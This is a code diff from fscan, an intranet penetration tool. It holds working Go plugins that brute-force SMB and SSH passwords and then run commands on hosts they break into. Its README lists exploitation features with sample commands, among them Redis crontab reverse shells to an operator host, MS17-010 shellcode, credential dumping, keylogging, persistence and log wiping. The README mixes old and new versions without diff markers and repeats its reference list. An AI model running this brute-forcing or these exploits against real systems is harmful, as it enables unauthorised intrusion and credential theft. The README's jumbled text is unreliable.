func SmbScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if info.Domain != "" {
result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
} else {
result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
Host: Host,
Port: 445,
User: Username,
Password: Password,
Domain: Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, info.Domain, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(info.Timeout) * time.Second):
return false, err
}
}
+62
View File
@@ -0,0 +1,62 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"net"
"strings"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
config := &ssh.ClientConfig{
User: Username,
Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
Timeout: time.Duration(info.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
if err == nil {
defer client.Close()
session, err := client.NewSession()
if err == nil {
defer session.Close()
flag = true
if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
common.LogSuccess(result)
} else {
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
}
}
}
return flag, err
}
+117
View File
@@ -0,0 +1,117 @@
package Plugins
import (
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/common"
"io/ioutil"
"net"
"net/http"
"regexp"
"strings"
"time"
)
var CheckData []WebScan.CheckDatas
func WebTitle(info *common.HostInfo) error {
if info.Ports == "80" {
info.Url = fmt.Sprintf("http://%s", info.Host)
} else if info.Ports == "443" {
info.Url = fmt.Sprintf("https://%s", info.Host)
} else {
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
}
err, result := geturl(info, true)
if err != nil {
return err
}
if result == "https" {
err, _ := geturl(info, true)
if err != nil {
return err
}
}
err, _ = geturl(info, false)
if err != nil {
return err
}
WebScan.InfoCheck(info.Url, CheckData)
if common.IsWebCan == false {
WebScan.WebScan(info)
}
return err
}
func geturl(info *common.HostInfo, flag bool) (err error, result string) {
Url := info.Url
if flag == false {
Url += "/favicon.ico"
}
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: false,
DialContext: (&net.Dialer{
Timeout: time.Duration(info.WebTimeout) * time.Second,
KeepAlive: time.Duration(info.WebTimeout+3) * time.Second,
}).DialContext,
MaxIdleConns: 1000,
MaxIdleConnsPerHost: 1000,
IdleConnTimeout: time.Duration(info.WebTimeout+3) * time.Second,
TLSHandshakeTimeout: 5 * time.Second,
}
//u, err := url.Parse("http://127.0.0.1:8080")
//if err != nil {
// return err,result
//}
//tr.Proxy = http.ProxyURL(u)
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res, err := http.NewRequest("GET", Url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
if flag == true {
res.Header.Add("Cookie", "rememberMe=1")
}
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
var title string
body, _ := ioutil.ReadAll(resp.Body)
re := regexp.MustCompile("<title>(.*)</title>")
find := re.FindAllStringSubmatch(string(body), -1)
if len(find) > 0 {
title = find[0][1]
if len(title) > 100 {
title = title[:100]
}
} else {
title = "None"
}
if flag == true {
result = fmt.Sprintf("WebTitle:%-25v %-3v %v", Url, resp.StatusCode, title)
common.LogSuccess(result)
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
if resp.StatusCode == 400 && info.Url[:5] != "https" {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
return err, "https"
}
return err, result
}
return err, ""
}
return err, ""
}
+101 -265
View File
@@ -1,292 +1,128 @@
# Fscan
# fscan
[English](README_EN.md)
# 简介
一款内网扫描工具,方便一键大保健。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
还在逐步增加功能,欢迎各位师傅提意见。
内网综合扫描工具,一键自动化漏扫。
**版本**: 2.2.1
## why
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
## 功能特性
答:
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
### 扫描能力
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
## 最近更新
[+] 2021/2/8 增加指纹识别功能,可识别尝试CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
### 爆破能力
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
- **SSH密钥登录** - 支持私钥认证方式
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
### 漏洞检测
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
- **DNSLog** - 支持DNSLog外带检测
### 漏洞利用
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
- **SSH命令执行** - 认证成功后自动执行命令
### 本地模块
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
- **杀软检测** - 识别目标主机安装的安全软件
- **痕迹清理** - 日志清理工具
### 输入输出
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
- **排除规则** - 支持排除特定主机、端口
- **输出格式** - TXT/JSON/CSV多格式输出
- **静默模式** - 无Banner、无进度条、无颜色输出
### 网络控制
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
- **发包控制** - 速率限制、最大发包数量控制
- **超时控制** - 端口超时、Web超时、全局超时独立配置
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
### 扩展功能
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
- **Lab靶场环境** - 内置Docker靶场用于测试学习
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
- **多语言支持** - 中英文界面切换(-lang zh/en)
- **性能统计** - JSON格式性能报告(-perf)
## v2.1.0 更新日志
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
### 架构重构
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
- **HostInfo重构** - Ports字段从string改为int,类型安全
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
- **代码审计** - 修复P0-P2级别问题,清理deadcode
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
### 性能优化
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
- **预分配容量** - 简化转换链、单次字符串替换
- **并发安全优化** - 优化锁粒度和内存分配
### 新功能
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
- **多格式POC适配** - 支持xray和afrog格式POC
- **智能扫描模式** - 布隆过滤器去重+代理优化
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
- **通用版本提取器** - 自动提取服务版本信息
- **指纹优先级排序** - 智能排序匹配结果
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
- **网卡指定功能** - 支持VPN场景(-iface参数)
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
- **端口扫描重试** - 失败自动重扫机制
- **RDP真实认证** - 集成grdp库实现系统指纹识别
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
- **默认端口扩展** - 从62个扩展到133个常用端口
- **全端口扫描支持** - 扩大端口范围限制
- **HTTP重定向控制** - 可配置的重定向次数限制
- **性能分析支持** - 添加pprof性能分析和benchmark测试
- **TCP包统计** - 服务插件支持TCP包发送统计
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
### Bug修复(120项,列出关键修复)
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
- **JSON输出格式** - 修复输出格式错误(#446)
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
- **结果实时保存** - 修复扫描结果未及时保存(#469)
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
- **MySQL连接验证** - 改用information_schema库验证
- **代理端口误判** - 修复代理模式下端口状态判断错误
- **Context超时** - 修复22处插件超时未响应问题
- **ICMP竞态条件** - 修复并发扫描竞争问题
- **IPv6地址格式** - 修复4处地址格式化问题
- **POC高并发卡死** - 修复Context未传播问题
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
- **SOCKS5全回显** - 添加代理连接验证
- **服务探测泄漏** - 修复连接未正确关闭问题
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
- **JSON指纹缺失** - 统一SERVICE结果Target格式
- **扫描耗时显示** - 修复完成耗时显示为0的问题
- **虚假漏洞记录** - 重构TXT输出系统消除误报
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
- **Windows编译警告** - 修复fscan-lite平台兼容性
- **Go 1.20兼容** - 降级依赖保持兼容性
### 测试增强(20项)
- **单元测试** - 核心模块覆盖率74-100%
- **并发安全测试** - State对象、指纹匹配引擎专项测试
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
- **CLI参数测试** - 命令行参数解析验证
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
- **ResultBuffer测试** - 去重和完整度评分验证
### 工程化改进
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
- **README重写** - 中英文文档全面更新
- **代码格式统一** - gofmt/goimports规范化
## 快速开始
```bash
# 扫描C段
./fscan -h 192.168.1.1/24
# 指定端口
./fscan -h 192.168.1.1 -p 22,80,443,3389
# 仅存活探测
./fscan -h 192.168.1.1/24 -ao
# 禁用爆破
./fscan -h 192.168.1.1/24 -nobr
# Web扫描
./fscan -u http://192.168.1.1
# 本地插件
./fscan -local systeminfo
# Hash碰撞
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis写公钥
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
## usege
简单用法
```
go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
```
```
-h 192.168.1.1/24 (C段)
-h 192.168.1.1/16 (B段)
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-hf ip.txt (以文件导入)
```
## 编译
```bash
# 标准编译
go build -ldflags="-s -w" -trimpath -o fscan .
# 带Web管理界面
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
完整参数
```
-Num int
poc rate (default 20)
-c string
exec command (ssh)
-domain string
smb domain
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hs ip.txt
-it int
Icmp Threads nums (default 11000)
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nopoc
not to scan web vul
-np
not to ping
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017")
-ping
using ping replace icmp
-pocname string
use the pocs these contain pocname, -pocname weblogic
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int
Thread nums (default 200)
-time int
Set timeout (default 3)
-user string
username
-userf string
username file
-wt int
Set web timeout (default 3)
## 安装
```bash
# Arch Linux
yay -S fscan-git
```
## 运行截图
`fscan.exe -h 192.168.x.x`
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
![](image/2.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
![](image/3.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
## 未来计划
[*] 合理输出当前扫描进度
[*] 增加内网常见高危漏洞
[*] 增加高危web漏洞扫描
[*] 师傅们觉得有必要加的漏洞,也可以提issue
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
![](image/netbios.png)
![](image/netbios1.png)
`fscan.exe -h 192.0.0.0/8 -m icmp`
![img.png](image/live.png)
![2.0-1](image/2.0-1.png)
![2.0-2](image/2.0-2.png)
## 路线图
### 更新计划
- **更新周期** - 每月一次版本发布
- **前两周** - 新功能开发与特性更新
- **后两周** - Bug修复与代码整合
- **欢迎PR** - 期待您的贡献!
### SDK & Agent 集成
- 扩展SDK能力,完善端侧Agent嵌入支持
- 断点续扫、带宽级限速、内存水位控制
- 更多Agent场景的集成示例
### 插件生态
- 持续扩展服务插件覆盖范围
- 为每个服务插件开发更多漏洞检测和利用能力
- 保持插件API向后兼容,确保旧版本POC持续可用
### Fscan-lite
- C语言重写的轻量版本
- 更小的体积,更少的依赖
- 支持更多嵌入式/受限环境
- 目录: [fscan-lite](./fscan-lite)
### Fscan-lab
- 内网渗透测试靶场环境
- 覆盖所有fscan支持的漏洞场景
- 开发测试与功能验证平台
- 新手学习与技能练习环境
- 目录: [fscan-lab](./fscan-lab)
## 免责声明
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
## 404StarLink
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
## Star趋势
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## 捐赠
[请作者喝饮料](image/sponsor.png)
## 参考
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
## 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
-286
View File
@@ -1,286 +0,0 @@
# Fscan
[中文](README.md)
Comprehensive intranet scanning tool for automated vulnerability assessment.
**Version**: 2.2.1
## Features
### Scanning
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
### Brute Force
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
- **SSH Key Login** - Private key authentication
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
### Vulnerability Detection
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
- **POC Scanning** - Integrated web POC, Xray POC format support
- **DNSLog** - DNSLog out-of-band detection
### Exploitation
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
- **SSH Command Exec** - Auto command execution after authentication
### Local Modules
- **Info Gathering** - System info, environment variables, DC info, NIC config
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
- **AV Detection** - Identify installed security software
- **Trace Cleanup** - Log cleaning tool
### Input/Output
- **Target Input** - IP/CIDR/domain/URL, batch file import
- **Exclusion Rules** - Exclude specific hosts, ports
- **Output Formats** - TXT/JSON/CSV multi-format output
- **Silent Mode** - No banner, no progress bar, no color output
### Network Control
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
- **Rate Control** - Rate limiting, max packet count control
- **Timeout Control** - Port/Web/Global timeout independent config
- **Concurrency** - Port scan threads, service scan threads independent config
### Extensions
- **Web Management UI** - Visual scan task management (build with -tags web)
- **Lab Environment** - Built-in Docker lab for testing and learning
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
- **Multi-language** - Chinese/English interface (-lang zh/en)
- **Performance Stats** - JSON format performance report (-perf)
## v2.1.0 Changelog
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
### Architecture Refactoring
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
### Performance Optimization
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
### New Features
- **Web Management UI** - Visual scan task management with responsive layout and progress display
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
- **Universal Version Extractor** - Auto-extract service version information
- **Fingerprint Priority Sorting** - Smart sorting of match results
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
- **Port Scan Retry** - Automatic retry mechanism for failed scans
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
- **SMB/FTP File Listing** - Auto-list files on anonymous access
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
- **TXT Output URL Summary** - Append web service URL list for batch testing
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
- **Default Port Expansion** - Extended from 62 to 133 common ports
- **Full Port Scan Support** - Expanded port range limits
- **HTTP Redirect Control** - Configurable redirect count limit
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
### Bug Fixes (120 items, key fixes listed)
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
- **JSON Output Format** - Fixed output format errors (#446)
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
- **MySQL Connection Validation** - Changed to information_schema for validation
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
- **ICMP Race Condition** - Fixed concurrent scan race issues
- **IPv6 Address Format** - Fixed 4 address formatting issues
- **POC High Concurrency Hang** - Fixed Context propagation issues
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
- **SOCKS5 Echo Issue** - Added proxy connection validation
- **Service Probe Leak** - Fixed connection not properly closed
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
- **Scan Duration Display** - Fixed completion time showing as 0
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
### Test Enhancements (20 items)
- **Unit Tests** - Core module coverage at 74-100%
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
- **CLI Parameter Tests** - Command-line argument parsing verification
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
### Engineering Improvements
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
- **README Rewrite** - Comprehensive Chinese and English documentation update
- **Code Format Unification** - gofmt/goimports standardization
## Quick Start
```bash
# Scan C-class network
./fscan -h 192.168.1.1/24
# Specify ports
./fscan -h 192.168.1.1 -p 22,80,443,3389
# Alive detection only
./fscan -h 192.168.1.1/24 -ao
# Disable brute force
./fscan -h 192.168.1.1/24 -nobr
# Web scanning
./fscan -u http://192.168.1.1
# Local plugin
./fscan -local systeminfo
# Hash authentication
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis write pubkey
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
```
## Build
```bash
# Standard build
go build -ldflags="-s -w" -trimpath -o fscan .
# With Web UI
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
```
## Install
```bash
# Arch Linux
yay -S fscan-git
```
## Screenshots
`fscan.exe -h 192.168.x.x`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
![](image/2.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
![](image/3.png)
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
![](image/netbios.png)
![](image/netbios1.png)
`fscan.exe -h 192.0.0.0/8 -m icmp`
![img.png](image/live.png)
![2.0-1](image/2.0-1.png)
![2.0-2](image/2.0-2.png)
## Roadmap
### Release Schedule
- **Release Cycle** - Monthly release
- **First 2 Weeks** - New features and enhancements
- **Last 2 Weeks** - Bug fixes and code integration
- **PRs Welcome** - Contributions are appreciated!
### Plugin Ecosystem
- Continuously expand service plugin coverage
- Develop more vulnerability detection and exploitation capabilities for each service plugin
